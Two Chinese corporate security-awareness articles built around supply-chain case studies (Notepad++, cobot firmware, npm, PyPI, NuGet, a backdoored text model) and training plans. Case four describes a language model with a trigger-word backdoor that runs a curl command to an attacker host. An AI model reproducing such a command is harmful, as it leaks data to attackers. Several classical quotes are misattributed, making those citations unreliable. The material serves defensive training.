供应链安全

信息安全的警钟与新纪元——从案例洞察到全员防护的行动指南

admin

在信息化浪潮汹涌而来的今天，企业的每一台终端、每一行代码、每一次网络交互，都可能成为攻击者的潜在靶子。若把安全事件比作潜伏在暗流中的暗礁，那么一次不慎的触礁，就可能让整条舰队触底沉没。为帮助大家在这片暗流中稳住舵盘，本文将在开篇通过头脑风暴，构想两大典型案例，剖析其技术细节与管理漏洞，随后结合当下具身智能化、机器人化、数据化的融合发展趋势，号召全体职工积极参与即将启动的信息安全意识培训，提升自身的安全素养、知识与技能。

脑洞一：从 Notepad++ 供应链劫持看“看不见的更新”

— 2026 年 2 月，全球最受欢迎的开源文本编辑器 Notepad++ 的更新基础设施被疑似中国国家级黑客组织侵入，持续六个月向特定目标投放后门 Chrysalis。
— 黑客利用对 gup.exe（Notepad++ 自研更新程序）通信链路的劫持，篡改 https://notepad-plus-plus.org/update/getDownloadUrl.php 返回的 gup.xml，将合法的下载链接改为自设的恶意服务器。
— 虽然下载文件本身具备数字签名，但早期版本使用的是自签根证书，验证环节被绕过，导致受害者在不知情的情况下执行了植入了 WebShell 的可执行文件，随后通过后门实现 “键盘即手”（hands‑on‑keyboard）控制。

技术剖析
1. 更新协议弱化：旧版 Notepad++ 采用纯 HTTP 进行更新请求，缺乏 TLS 加密，易受中间人（MITM）攻击。即便升级至 HTTPS，也因自签根证书导致信任链不完整，攻击者可伪造证书实现 TLS 劫持。
2. 签名验证不严：签名校验仅在本地执行，未与可信的证书颁发机构（CA）进行实时比对。若攻击者在受害者机器上植入恶意根证书，即可通过签名校验，形成“本地可信、外部不可信”的闭环。
3. 供应链持久化：黑客不仅在首次劫持后获取一次性收益，还在 9 月至 12 月期间保持对内部服务器的凭证，使其能够在目标修复后再次尝试植入后门，体现出供应链攻击的“长线作战”特征。

管理漏洞
– 缺乏多因素认证：更新服务器的管理后台未开启 MFA，导致凭证泄露后攻击者可直接登录。
– 监控与审计不足：对 gup.xml 下载日志缺乏实时告警，导致异常请求在数月内未被发现。
– 版本升级迟缓：安全团队对已公开的漏洞修复速度慢，导致用户仍在使用易受攻击的旧版程序。

脑洞二：智能机器人系统被“植入心脏病”——工业控制里的后门阴影
— 2025 年底，一家大型制造企业的 协作机器人（cobot） 系统被黑客通过供应链植入恶意固件，导致机器人在生产线上出现 “心跳骤停”——关键动作暂停，随后自动进入安全模式并发送异常报告至攻击者控制服务器。
— 攻击者利用该固件后门在机器人内部开启了远程 Shell，获得对内部网络的横向渗透能力，进一步窃取工艺参数、研发文档，甚至利用机器人的视觉系统获取车间实时视频。

技术剖析
1. 固件签名缺失：部分型号机器人在出厂时未强制执行固件签名校验，导致攻击者可在供应链的某一环节（如第三方驱动供应商）注入恶意代码。
2. 网络隔离失效：机器人使用的工业以太网直接连入企业内部 LAN，没有实施 VLAN 隔离或安全网关，导致一次渗透即能横向扩散至 ERP、MES 系统。
3. 默认密码与未加固的 SSH：部分机器人管理界面使用出厂默认密码，且未关闭根用户的直接 SSH 登录，形成“开门即入”。

管理漏洞
– 资产清单不完整：对机器人等非传统 IT 资产缺乏统一的资产管理系统，导致安全团队难以及时发现异常。
– 供应链审计薄弱：未对机器人关键软件组件进行供应链安全评估，未要求供应商提供完整的 SBOM（Software Bill of Materials）。
– 安全培训缺失：现场工程师对机器人固件更新流程缺乏安全意识，往往直接使用 OEM 提供的升级包，而未进行二次校验。

从案例看信息安全的本质：技术与管理的双重失衡

上述两大案例，从技术细节到管理失误，均呈现出一种共同特征——安全是一场系统性的对弈，缺一不可。仅仅在技术层面加强加密、签名或防火墙，若管理层面没有相应的制度、流程与文化支撑，仍会被聪明的攻击者绕道而行。反之，即便拥有完善的制度，如果技术防线薄弱，也会在实际攻击面前土崩瓦解。

在当今 具身智能化、机器人化、数据化 融合的环境中，这种系统性失衡的危害被进一步放大：

  1. 具身智能（Embodied Intelligence） 让机器拥有感知、动作与决策能力，一旦被植入后门，攻击者不再是远程敲击键盘的“键盘侠”，而可以直接在物理世界中驱动机器执行破坏行为。
  2. 机器人化（Robotics） 将大量生产、物流与服务流程自动化，机器人本身成为高价值的攻击入口；其操作系统、固件、通讯协议的每一次升级都是潜在的供应链攻击点。
  3. 数据化（Datafication） 将业务流程、用户行为、设备状态全部数字化、可审计，也为攻击者提供了大量情报来源；反观企业如果缺乏对数据流向的可视化与审计，同样会在数据泄露后难以快速定位根因。

因此，信息安全意识培训 必须摆脱传统的“防病毒、打补丁”思维，转向 全员参与、全链路防护、持续演练 的新模式。下面，我们将从培训目标、课程体系与实战演练三个维度，阐述如何在组织内部构建起坚实的安全防线。

培训目标：从“知”到“行”，从“个人防线”升级为“组织韧性”

目标层级 具体描述
认知层 让每位员工了解 供应链攻击、后门植入、社交工程 等常见威胁的本质与案例，引发安全危机感。
技能层 掌握 安全更新、多因素认证、最小权限原则、日志审计 等基本防护技能，并能够在日常工作中正确运用。
行为层 形成 安全第一 的职业习惯，例如：不随意点击来源不明的链接、定期检查系统补丁、对关键资产实施分段防护。
组织层 通过 红蓝对抗演练、应急响应演练，提升全员在真实安全事件中的协同响应能力，打造组织韧性。

培训内容体系：从基础到进阶，循序渐进

1. 信息安全基础篇（≈2 小时）

  • 概念速递：保密性、完整性、可用性（CIA）三大基石；攻击者的动机与目标模型。
  • 常见威胁：钓鱼邮件、勒索软件、供应链攻击、零日漏洞、物联网后门。
  • 案例回顾：Notepad++ 供应链劫持、协作机器人后门、以及国内外典型的“软硬件双料”攻击（如 SolarWinds、Target 数据泄露）。

2. 供应链安全深度篇（≈3 小时）

  • SBOM（软件材料清单）：为何每一行代码、每一个依赖都要“标记溯源”。
  • 数字签名与信任链：从根证书到代码签名，如何检验签名是否被篡改。
  • 安全更新机制：对比 HTTP、HTTPS、TLS 1.3、证书钉扎（certificate pinning）等技术实现的安全性。
  • 实操演练：使用 openssl 验证 Notepad++ 更新包签名、使用 Wireshark 捕获并分析更新流量，辨识异常重定向。

3. 机器人与工业控制系统安全篇（≈3 小时）

  • ICS/OT 基础：SCADA、PLC、机器人操作系统（ROS）安全要点。
  • 固件签名与防篡改：Secure Boot、Root of Trust、TPM 的使用场景。
  • 网络分段与防火墙策略：如何通过 VLAN、DMZ 与零信任模型隔离机器人网络。

  • 现场实战：模拟机器人固件更新流程，演练检测未签名固件、阻断异常 SSH 登录。

4. 社交工程与人因攻击防御篇（≈2 小时）

  • 钓鱼邮件识别：标题、链接、附件的细节辨认技巧。
  • 内部威胁：员工离职、权限滥用的防范措施。
  • 应急报告：事件发生后如何快速、准确地向安全团队报告。

5. 红蓝对抗与应急响应演练（≈4 小时）

  • 蓝队防御：日志收集、SIEM 配置、异常行为检测。
  • 红队渗透：基于真实案例的渗透路径演示（从钓鱼邮件到内网横向移动）。
  • 现场演练：围绕 Notepad++ 更新劫持或机器人后门植入的情景，进行全流程的检测、隔离、取证与恢复。

6. 持续学习与安全文化建设

  • 安全周报：每周推送最新漏洞情报、行业动态。
  • 安全大使计划：挑选部门安全小能手，形成“点对点”宣传与辅导。
  • 游戏化学习：通过 Capture The Flag（CTF）平台、闯关小游戏提升学习兴趣。

培训实施计划：让学习成为日常，确保覆盖率与实效性

时间节点 活动 参与对象 关键指标
第一周 启动仪式 & 安全认知宣传片 全体员工 观看率 ≥ 90%
第二–四周 基础与进阶课程（线上 + 线下） 全体（分批） 课程完成率 ≥ 95%，满意度 ≥ 4.5/5
第五周 实操演练（Notepad++ 更新检测） 技术研发、运维 演练成功率 ≥ 80%
第六周 机器人安全工作坊 生产、自动化部门 现场演练问题发现率 ≥ 70%
第七周 红蓝对抗演练 安全团队、关键业务 平均响应时间 ≤ 15 分钟
第八周 评估与改进 全体 通过率 ≥ 85%，形成《安全改进报告》
每月 安全简报 & 案例复盘 全体 参会率 ≥ 80%
每季 安全大使交流会 各部门安全大使 经验分享 ≥ 5 条

绩效考核：将培训完成度、演练表现、漏洞响应时长计入个人绩效体系，确保安全意识与业务目标同等重要。

让安全成为组织的竞争力——从“防护”到“赋能”

  1. 提升供应链透明度：通过 SBOM 与自动化审计工具，实现对所有第三方组件的全链路可视化，防止类似 Notepad++ 的隐蔽攻击。
  2. 构建“安全‑智能”协同平台：在机器人系统中嵌入行为分析模型，利用 AI 实时检测异常指令或异常动作，形成 AI‑Driven Threat Detection。
  3. 数据治理与合规：对关键业务数据实行分级分类、加密存储与访问审计，符合《网络安全法》与《个人信息保护法》要求。
  4. 安全文化浸润：通过案例分享、情景剧、微笑表情包等方式，将严肃的安全知识以轻松、易记的形式渗透到日常工作中。

“防患未然，方是最好的防线。”——《左传》
在信息安全的赛道上，每一次的主动学习、每一次的细致审查，都是对组织未来的最有力的投资。让我们以本次培训为契机，从个人做起，从细节做起，携手构建起一道坚不可摧的安全堤坝。

结语

从 Notepad++ 的供应链劫持，到 协作机器人 的后门植入，这两起看似“边缘”的安全事件，却在无声中撕开了企业防线的破绽。它们提醒我们：在具身智能、机器人化、数据化的融合时代，技术的每一次进步，都可能带来新的攻击向量。只有让安全意识深入每一位职工的血液，才能在未知的风浪中保持稳健航行。

让我们在即将开启的信息安全意识培训中，互相学习、共同进步，用知识的灯塔照亮前行的道路。安全不是某个部门的工作，而是全员的责任。愿每一位同事都能成为信息安全的守护者，用行动写下企业稳健发展的新篇章。

让我们从今天起，携手守护数字化未来！

信息安全 意识培训

昆明亭长朗然科技有限公司提供全面的信息保密培训，使企业能够更好地掌握敏感数据的管理。我们的课程内容涵盖最新安全趋势与实操方法，帮助员工深入理解数据保护的重要性。如有相关需求，请联系我们了解详情。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

信息安全意识提升指南——从真实案例出发，构建全员防线

admin

在信息化浪潮滚滚向前的今天，企业的每一次代码提交、每一次模型下载、每一次自动化部署，都可能是攻击者潜伏的入口。正如《左传》有云：“防患未然，未雨绸缪。”只有让每一位职工都具备敏锐的安全嗅觉，才能在复杂的供应链生态中筑起坚固的防线。本文将以 四大典型信息安全事件 为切入口，深度剖析攻击手法、影响范围以及防御要点，帮助大家在日常工作中养成安全思维；随后结合数字化、自动化、具身智能化的融合趋势，号召全体员工积极参与即将开启的 信息安全意识培训，共同提升安全素养、知识与技能。

一、四大典型安全事件案例

案例一：npm “Shai‑hulud” 蠕虫——供应链内生恶意代码的隐蔽蔓延

事件概述
2025 年上半年，全球最大 JavaScript 包管理平台 npm 发生大规模恶意包注入，一种名为 Shai‑hulud 的自我复制蠕虫利用被盗的维护者凭证，在数百个热门库中植入恶意代码。该蠕虫不依赖外部 C2 服务器，而是完全在 npm 注册表内部完成传播：每当受感染的包被下载并执行时，代码会自动使用维护者的 API token 在注册表中创建新的恶意版本，随后通过自动化依赖更新工具（如 Renovate、Dependabot）向下游项目推送更新请求。

攻击路径
1. 凭证泄露：攻击者通过钓鱼或弱密码攻击获取维护者的 2FA 失效或未启用的账户。
2. 代码注入：在原有库中植入恶意脚本（如下载并执行远程二进制、窃取环境变量）。
3. 自我复制：利用 npm 的发布 API，自动生成受感染的后续版本并发布。
4. 自动化扩散：CI/CD 流水线中的依赖自动升级功能（npm install -g npm-check-updates）直接拉取最新（已被感染）版本。

影响评估
– 直接损失：上万家开源项目的构建环境被植入后门，导致内部服务器被远程控制，产生约 350 万美元的直接经济损失。
– 侧向渗透：攻击者通过窃取的云服务 API Key，进一步访问企业内部的对象存储、数据库等资源。
– 信任危机：npm 生态的信任度骤降，开发者社区出现大规模的包审计需求。

防御要点
– 强制 多因素认证（MFA），尤其对维护者账户。
– 对发布的 npm 包进行自动化安全扫描（如 Snyk、OSS‑Detect），并在 CI 中设置阻断策略。
– 对 依赖自动升级 实施白名单、人工审核流程，并对关键依赖设置 签名校验（如 npm 7 引入的 npm audit signatures）。
– 对 发布凭证的使用 设定 最小权限原则 与 短期有效期，并使用 硬件安全模块（HSM） 存储敏感 token。

案例二：Python PyPI “Sci‑Drop” 隐蔽后门——看似数据模型的恶意载体

事件概述
2025 年底，PyPI（Python Package Index）上出现一批标记为“机器学习模型压缩工具”的库，版本号从 0.1.0 快速跳至 2.3.9。攻击者利用 AI 生成的模型文件（.pth/.pt）隐藏了恶意载荷：模型文件内部嵌入了 Base64 编码的恶意 Python 脚本，加载模型时自动执行，从而窃取系统凭证、植入后门。

攻击路径
1. 包装恶意模型：攻击者在本地训练模型后，用 torch.save 导出，并在模型元信息（metadata）字段插入恶意代码。
2. 发布到 PyPI：利用已劫持的维护者账号或通过新注册的账户进行发布。
3. 误导式依赖：在 TensorFlow/Keras 项目的 requirements.txt 中加入该模型库的名称（例如 tf-compress==2.3.9），开发者误认为是官方压缩工具。
4. 运行时触发：项目在 import tf_compress 时自动加载模型，触发恶意代码执行。

影响评估
– 泄露凭证：约 3,800 份 API Key 与云服务 Token 被窃取。
– 内部网络渗透：利用窃取的凭证，攻击者在受感染的研发机器上搭建反向Shell，后续对内部 GitLab、Jenkins 进行横向移动。
– 行业声誉受损：Python 社区对 PyPI 的安全审计需求激增，出现数十万次的包审计请求。

防御要点
– 对 模型文件进行完整性校验：采用 SHA‑256 哈希或 签名验证（如 Sigstore）确保模型未被篡改。
– 在 CI/CD 环境中禁用模型的自动执行，仅允许在受信任的沙箱中加载。
– 加强 PyPI 账户的安全策略：强制 2FA、登录 IP 地理位置限制、异常行为监控。
– 对 依赖声明进行来源审计：对 requirements.txt 中的每一项执行 源头追踪（SBOM），确认是否来自官方源。

案例三：NuGet “DevOps‑Ghost” 令牌泄露——凭证乱象的连锁反应

事件概述
2025 年 3 月，微软官方的 .NET 包管理平台 NuGet 被曝出大量 泄露的访问令牌（PAT），攻击者利用这些令牌在 CI 系统中创建 恶意构建代理，进而在内部网络中进行 供应链注入。与 npm、PyPI 不同，NuGet 的泄露主要源于 开发者在代码仓库中误提交 PAT，导致攻击者能直接访问企业私有 NuGet 源。

攻击路径
1. 凭证泄露：开发者在提交代码时不慎将含有 PAT 的 nuget.config 文件推送到公开仓库。
2. 自动化抓取：攻击者利用 GitHub 搜索 API（search code）快速定位这些泄露的配置文件。
3. 创建恶意包：在拥有 PAT 权限的情况下，攻击者向企业私有 NuGet 源上传恶意 DLL（如植入 C# 反射后门）。
4. CI 注入：CI 流水线中的 dotnet restore 自动拉取最新的恶意 DLL，进而在构建阶段注入后门。

影响评估
– 内部系统被控：约 120 台内部服务器因恶意 DLL 被植入后门，导致数据泄露与业务中断。
– 合规违规：泄露的 PAT 符合 GDPR、ISO27001 中的“凭证管理”不合规项，企业面临监管处罚。
– 恢复成本：清除恶意 DLL、重新生成凭证、审计代码库的整体成本约 150 万美元。

防御要点
– 在 代码审查阶段加入凭证检测（如 GitGuardian、TruffleHog），对 *.config、*.json、.env 文件进行敏感信息扫描。
– 对 PAT 设置最小权限（仅允许读取特定源），并设置 90 天自动失效。
– 实施 凭证轮转机制：每次关键系统变更后强制更新 PAT。
– 在 CI/CD 中使用 短期令牌（如 GitHub Actions 的 OIDC Token），避免长期凭证泄露。

案例四：AI 模型治理缺失导致的供应链 “毒药”——从模型仓库到生产环境的暗链

事件概述
2025 年 9 月，一家国内大型金融机构在使用开源 文本生成模型（如基于 GPT‑2 的微调模型）时，因模型下载来源不明，导致 后门代码 被植入到生成 API 中。攻击者在模型文件中加入了 系统命令执行的触发器，当模型接收到特定触发词（如 “内部审计”）时，即执行 os.system('curl http://attacker.com/exec')，从而在生产环境的容器中发起外部请求，泄露敏感金融数据。

攻击路径
1. 模型获取：研发人员在未验证的模型仓库（如某 GitHub 项目）直接下载 .pt 文件。
2. 模型加载：在生产服务的容器中直接使用 torch.load 加载模型，未进行完整性校验。
3. 触发后门：攻击者通过发送特制的文本请求触发模型内部的恶意代码。
4. 数据泄露：后门将关键金融数据（如交易记录）通过加密通道发送至攻击者控制的服务器。

影响评估
– 核心业务泄密：约 20 万条交易记录被窃取，引发监管部门的严肃调查。
– 品牌信誉受创：金融机构在公开渠道被披露后，客户信任度下降，股价短期跌幅 7%。
– 合规风险：涉及《网络安全法》与《个人信息保护法》的违规处理，面临高额罚款。

防御要点
– 为 AI 模型引入签名和可信执行环境（TEE）：使用 Sigstore 为模型文件签署，容器运行时验证签名。
– 在 模型加载前执行沙箱化检测：对模型进行病毒扫描、行为分析（如 Cuckoo）以及 异常指令识别。
– 建立模型供应链治理（Model MLOps Governance）：使用 模型清单（Model Bill of Materials）、版本控制、元数据审计，实现全链路追溯。
– 对 用户输入进行内容审计：对接收的文本进行敏感词过滤，阻断可能触发模型后门的指令。

二、从案例到启示：安全思维的四大维度

  1. 凭证安全——凭证是进入系统的金钥，必须实施多因素认证、最小权限、短期有效策略，并对凭证使用进行实时监控。
  2. 供应链可视化——构建 软件物料清单（SBOM） 与 模型物料清单（MBOM），实现对每一层依赖的来源、签名与变更的全链路可追溯。
  3. 自动化安全审查——在 CI/CD 流水线中嵌入 静态分析（SAST）、动态分析（DAST）、依赖审计 与 模型安全检测，确保每一次自动化部署都经过安全门禁。
  4. 持续学习与响应——安全是一个动态过程，必须通过威胁情报、演练（红蓝对抗）以及 安全意识培训，让每位员工成为第一道防线。

三、数字化、自动化、具身智能化时代的安全挑战

1. 数字化转型的密码

企业正加速向 云原生、微服务、容器化 迁移，业务系统被拆解为细粒度的 API 与服务。每一次 API 调用 都是潜在的攻击向量。数字化的深度决定了 资产暴露面的大小：

  • API 泄露：未授权或错误配置的 API 可直接泄露业务数据。

  • 数据流失：数据在微服务之间的多次复制，为 中间人攻击 提供了机会。

2. 自动化的双刃剑

自动化工具（如 Dependabot、Renovate、GitHub Actions）极大提升了开发效率，却也成为 攻击者的加速器。一旦攻击者成功植入恶意代码，自动化更新会瞬间将污染扩散至成千上万的项目。

  • 自动化审计：必须在每一次自动化变更前执行 安全策略审计，把“自动化”与“安全审计”同步化。
  • 回滚机制：在发现异常后，能够快速 回滚到安全版本 并自动阻断已发布的恶意包。

3. 具身智能化（Embodied Intelligence）的新边疆

具身智能 指将 AI 与硬件（机器人、边缘设备）深度融合，形成 感知‑决策‑执行 的闭环。这使得 安全风险 不再局限于软件层面，而是渗透到 物理世界。

  • 边缘模型：在边缘设备上直接加载 AI 模型，一旦模型被篡改，可能导致 设备失控（如工业机器人执行破坏性动作）。
  • 隐私泄露：具身智能设备采集的传感器数据（摄像头、麦克风）如果被恶意模型利用，可实现实时窃听、行为分析。

因此，安全意识培训 必须覆盖 代码、模型、硬件 三大维度，让员工在每一次“写代码”“拉模型”“部署设备”时，都具备相应的安全判断。

四、号召全员参与信息安全意识培训——共筑防线

“千里之堤，溃于蚁穴。”
——《孟子·公孙丑上》

企业的信息安全防线不是某个部门的专属，而是全员共同守护的生态系统。针对上述四大案例所揭示的共性风险，我们将于 2026 年 2 月 15 日至 2 月 28 日 开展为期两周的 信息安全意识培训（线上+线下混合模式），培训内容涵盖：

  1. 凭证管理实战：从 MFA、密码库到硬件令牌的落地实施。
  2. 供应链安全全景：SBOM、签名验证、容器镜像签名（Cosign）与模型签名（Sigstore）实操。
  3. 自动化安全最佳实践：在 GitHub Actions、GitLab CI、Jenkins 中嵌入安全审计、回滚与告警。
  4. 具身智能安全要点：边缘模型防篡改、设备固件完整性校验、传感器数据隐私保护。
  5. 安全事件模拟演练：基于真实案例（如 Shai‑hulud、Sci‑Drop）进行红蓝对抗，提升现场处置能力。

培训方式与激励措施

形式 内容 预期时长 备注
线上微课 短视频 + 交互式测验 15 分钟/课 随时随地观看，完成测验可获积分
现场研讨 案例分析 + 小组讨论 2 小时/场 各部门抽调代表，现场答疑
实战演练 红蓝对抗 + 现场取证 半天 现场演练，结束后颁发“安全护航员”证书
知识竞赛 问答抢答 + 抽奖 30 分钟 前 10 名获公司纪念品与额外年假一天

激励机制：完成全部培训并通过终测的员工，将获得 “信息安全先锋” 电子徽章，计入年度绩效；同时，公司将公布 “安全最佳实践案例”，优秀经验将被编入内部手册，分享至全体员工。

培训的长远价值

  • 降低风险成本：据 Gartner 预测，安全培训每提升 1% 的员工安全意识，可将整体安全事件响应成本降低约 5%。
  • 提升合规水平：通过系统培训，可满足 ISO27001、CIS 20、国产安全合规 要求的“员工安全意识”条款。
  • 增强业务韧性：拥有安全文化的团队，在面对供应链危机时，能够快速 识别、隔离、恢复，保障业务连续性。

五、行动指南：从今天起，让安全成为习惯

  1. 立即检查凭证：登录公司内部凭证管理平台，确认所有维护者账号已开启 MFA，并在 7 天内更换过期 token。
  2. 审计依赖：使用公司提供的 SBOM 生成工具（如 CycloneDX）对当前项目的依赖树进行一次完整扫描，将未签名或来源不明的包列入黑名单。
  3. 模型安全签名：对所有使用的 AI 模型执行 cosign sign 或 sigstore sign，并在 CI 中加入签名校验步骤。
  4. 加入培训：登录学习平台，在 “我的课程” 中报名 信息安全意识培训，完成第一堂微课后，即可领取积分。
  5. 分享经验：在部门例会上分享一次安全审计的实践体会，或提交 安全改进建议，让好点子快速落地。

“防微杜渐，方能安邦。”
——《礼记·大学》

让我们携手并肩，把 安全意识 从口号转化为每一次代码提交、每一次模型下载、每一次自动化部署时的自觉行为；让 信息安全培训 成为企业文化的基石，让每一位员工都成为守护企业数字资产的“信息安全先锋”！

关键词

昆明亭长朗然科技有限公司在企业合规方面提供专业服务，帮助企业理解和遵守各项法律法规。我们通过定制化咨询与培训，协助客户落实合规策略，以降低法律风险。欢迎您的关注和合作，为企业发展添砖加瓦。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898